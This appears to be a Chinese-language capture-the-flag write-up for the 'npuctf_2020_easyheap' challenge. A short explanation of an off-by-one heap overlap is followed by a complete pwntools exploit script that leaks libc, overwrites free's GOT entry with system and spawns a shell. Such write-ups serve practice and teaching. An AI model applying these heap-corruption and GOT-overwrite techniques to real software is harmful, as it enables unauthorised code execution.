image.png
    没有pie,可以改got表
    漏洞在这,可以修改一个数组的内容,创建的堆块只有24和56.
    可以看到其实是有一个控制堆块的,而且控制堆块和数据堆块是相邻的。
    image.png

    1. payload='a'*0x10+p64(0)+p64(0x21)+p64(100)+p64(elf.got['free'])##关键代码

    image.png
    然后show出来就可以看到free的地址了

    1. from pwn import*
    2. from LibcSearcher import*
    3. context.log_level = 'debug'
    4. #context.arch = 'amd64'
    5. io =process('./npuctf_2020_easyheap')
    6. #io = remote("node4.buuoj.cn",26937)
    7. elf = ELF('./npuctf_2020_easyheap')
    8. #libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
    9. #libc = ELF('libc-2.27.so')
    10. def debug():
    11. gdb.attach(io)
    12. pause()
    13. def creat(size,value):
    14. io.recvuntil('Your choice :')
    15. io.sendline('1')
    16. io.recvuntil('Size of Heap(0x10 or 0x20 only) : ')
    17. io.sendline(str(size))
    18. io.recvuntil('Content:')
    19. io.sendline(value)
    20. def edit(Index,value):
    21. io.recvuntil('Your choice :')
    22. io.sendline('2')
    23. io.recvuntil('Index :')
    24. io.sendline(str(Index))
    25. io.recvuntil('Content: ')
    26. io.sendline(value)
    27. def show(index):
    28. io.recvuntil('Your choice :')
    29. io.sendline('3')
    30. io.recvuntil('Index :')
    31. io.sendline(str(index))
    32. def free(index):
    33. io.recvuntil('Your choice :')
    34. io.sendline('4')
    35. io.recvuntil('Index :')
    36. io.sendline(str(index))
    37. creat(24,'aaaa')
    38. creat(24,'bbbb')
    39. creat(24,'/bin/sh\x00')
    40. edit(0,'a'*0x18+'\x41')
    41. free(1)
    42. #debug()
    43. payload='a'*0x10+p64(0)+p64(0x21)+p64(0x40)+p64(elf.got['free'])
    44. creat(0x38,payload)
    45. #debug()
    46. show(1)
    47. io.recvuntil('Content : ')
    48. free_addr = u64(io.recvuntil('\x7f').ljust(8,'\x00'))
    49. log.success("free_addr:"+hex(free_addr))
    50. libc = LibcSearcher('free',free_addr)
    51. system_addr = free_addr - libc.dump('free')+libc.dump('system')
    52. edit(1,p64(system_addr))
    53. free(2)
    54. io.interactive()